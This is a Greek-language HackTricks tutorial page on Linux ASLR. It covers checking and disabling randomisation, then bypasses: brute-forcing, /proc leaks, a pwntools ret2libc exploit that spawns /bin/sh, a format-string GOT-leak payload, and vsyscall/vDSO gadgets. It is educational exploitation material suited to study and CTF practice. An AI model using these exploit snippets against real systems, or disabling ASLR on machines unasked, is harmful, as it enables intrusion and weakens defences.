ASLR
Reading time: 11 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR) είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να τυχαίνει τις διευθύνσεις μνήμης που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης.
Checking ASLR Status
Για να ελέγξετε την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το /proc/sys/kernel/randomize_va_space
αρχείο. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται:
- 0: Καμία τυχαία διάταξη. Όλα είναι στατικά.
- 1: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαίες.
- 2: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαίνουν από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του
brk()
είναι τυχαία.
Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή:
cat /proc/sys/kernel/randomize_va_space
Απενεργοποίηση ASLR
Για να απενεργοποιήσετε το ASLR, ορίστε την τιμή του /proc/sys/kernel/randomize_va_space
σε 0. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν οι οδηγίες για την απενεργοποίησή του:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Μπορείτε επίσης να απενεργοποιήσετε το ASLR για μια εκτέλεση με:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Ενεργοποίηση ASLR
Για να ενεργοποιήσετε το ASLR, μπορείτε να γράψετε μια τιμή 2 στο αρχείο /proc/sys/kernel/randomize_va_space
. Αυτό συνήθως απαιτεί δικαιώματα root. Η πλήρης τυχαία κατανομή μπορεί να γίνει με την ακόλουθη εντολή:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Επιμονή Μεταξύ Επανεκκινήσεων
Οι αλλαγές που γίνονται με τις εντολές echo
είναι προσωρινές και θα επαναρυθμιστούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο /etc/sysctl.conf
και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Μετά την επεξεργασία του /etc/sysctl.conf
, εφαρμόστε τις αλλαγές με:
sudo sysctl -p
Αυτό θα διασφαλίσει ότι οι ρυθμίσεις ASLR σας παραμένουν κατά τη διάρκεια των επανεκκινήσεων.
Παρακάμψεις
32bit brute-forcing
Το PaX χωρίζει τον χώρο διευθύνσεων της διαδικασίας σε 3 ομάδες:
- Κώδικας και δεδομένα (αρχικοποιημένα και μη αρχικοποιημένα):
.text
,.data
, και.bss
—> 16 bits εντροπίας στη μεταβλητήdelta_exec
. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διαδικασία και προστίθεται στις αρχικές διευθύνσεις. - Μνήμη που έχει κατανεμηθεί από το
mmap()
και κοινές βιβλιοθήκες —> 16 bits, ονομάζεταιdelta_mmap
. - Η στοίβα —> 24 bits, αναφέρεται ως
delta_stack
. Ωστόσο, χρησιμοποιεί αποτελεσματικά 11 bits (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε 16 bytes —> Αυτό έχει ως αποτέλεσμα 524,288 δυνατές πραγματικές διευθύνσεις στοίβας.
Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR δοκιμάζοντας την εκτέλεση ξανά και ξανά μέχρι να ολοκληρωθεί επιτυχώς η εκμετάλλευση.
Ιδέες brute-force:
- Αν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσετε μια μεγάλη NOP sled πριν από το shellcode, μπορείτε απλά να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή να πηδήξει πάνω από κάποιο μέρος της NOP sled.
- Μια άλλη επιλογή για αυτό σε περίπτωση που η υπερχείλιση δεν είναι τόσο μεγάλη και η εκμετάλλευση μπορεί να εκτελείται τοπικά είναι να προσθέσετε την NOP sled και το shellcode σε μια μεταβλητή περιβάλλοντος.
- Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να σπάσετε τη διεύθυνση της συνάρτησης
libc
usleep
, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει, βρήκατε τη διεύθυνση αυτής της συνάρτησης.
tip
Σε συστήματα 64bit η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα έπρεπε να είναι δυνατό.
64 bits stack brute-forcing
Είναι δυνατόν να καταλάβετε ένα μεγάλο μέρος της στοίβας με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό εκατοντάδες/χίλιες φορές τοπικά.
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατόν να επιλέξετε απλώς μια διεύθυνση στη στοίβα και κάθε μερικές εκατοντάδες εκτελέσεις αυτή η διεύθυνση θα περιέχει την εντολή NOP:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
.png)
Τοπικές Πληροφορίες (/proc/[pid]/stat
)
Το αρχείο /proc/[pid]/stat
μιας διαδικασίας είναι πάντα αναγνώσιμο από όλους και περιέχει ενδιαφέρουσες πληροφορίες όπως:
- startcode & endcode: Διευθύνσεις πάνω και κάτω με το TEXT του δυαδικού
- startstack: Η διεύθυνση της αρχής της στοίβας
- start_data & end_data: Διευθύνσεις πάνω και κάτω όπου είναι το BSS
- kstkesp & kstkeip: Τρέχουσες διευθύνσεις ESP και EIP
- arg_start & arg_end: Διευθύνσεις πάνω και κάτω όπου είναι τα cli arguments.
- env_start &env_end: Διευθύνσεις πάνω και κάτω όπου είναι οι env variables.
Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από ακατέργαστους παραμέτρους, αλλά από μια διαφορετική είσοδο που μπορεί να κατασκευαστεί μετά την ανάγνωση αυτού του αρχείου. Είναι δυνατόν για έναν επιτιθέμενο να πάρε κάποια διευθύνσεις από αυτό το αρχείο και να κατασκευάσει offsets από αυτές για την εκμετάλλευση.
tip
Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο, ελέγξτε https://man7.org/linux/man-pages/man5/proc.5.html αναζητώντας το /proc/pid/stat
Έχοντας μια διαρροή
- Η πρόκληση είναι να δώσετε μια διαρροή
Αν σας δοθεί μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε offsets από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το παράδειγμα εκμετάλλευσης είναι αποσπασμένο από το παράδειγμα από εδώ (ελέγξτε αυτή τη σελίδα για περισσότερες λεπτομέρειες):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα ret2plt για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγχος:
- Format Strings Arbitrary Read
Ακριβώς όπως στο ret2plt, αν έχετε μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγετε τη διεύθυνση μιας libc function από το GOT. Το παρακάτω παράδειγμα είναι από εδώ:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την τυχαία ανάγνωση Format Strings στο:
Ret2ret & Ret2pop
Δοκιμάστε να παρακάμψετε το ASLR εκμεταλλευόμενοι διευθύνσεις μέσα στη στοίβα:
vsyscall
Ο μηχανισμός vsyscall
εξυπηρετεί στην ενίσχυση της απόδοσης επιτρέποντας σε ορισμένες κλήσεις συστήματος να εκτελούνται σε χώρο χρήστη, αν και είναι θεμελιωδώς μέρος του πυρήνα. Το κρίσιμο πλεονέκτημα των vsyscalls έγκειται στις σταθερές διευθύνσεις τους, οι οποίες δεν υπόκεινται σε ASLR (Τυχαία Διάταξη Χώρου Διευθύνσεων). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν απαιτούν μια ευπάθεια διαρροής πληροφοριών για να προσδιορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.
Ωστόσο, δεν θα βρείτε εδώ πολύ ενδιαφέροντα gadgets (αν και για παράδειγμα είναι δυνατό να αποκτήσετε ένα ισοδύναμο ret;
)
(Το παρακάτω παράδειγμα και ο κώδικας είναι από αυτή τη γραφή)
Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση 0xffffffffff600800
μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια άμεσης μετάβασης σε μια εντολή ret
μπορεί να οδηγήσει σε αστάθεια ή κρα crashes μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας syscall
που παρέχεται από την ενότητα vsyscall μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα gadget ROP που οδηγεί την εκτέλεση σε αυτή τη διεύθυνση vsyscall, ένας επιτιθέμενος μπορεί να επιτύχει εκτέλεση κώδικα χωρίς να χρειάζεται να παρακάμψει το ASLR για αυτό το μέρος της εκμετάλλευσης.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα τυχαίνει τυχαίας κατανομής. Για περισσότερες πληροφορίες ελέγξτε:
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.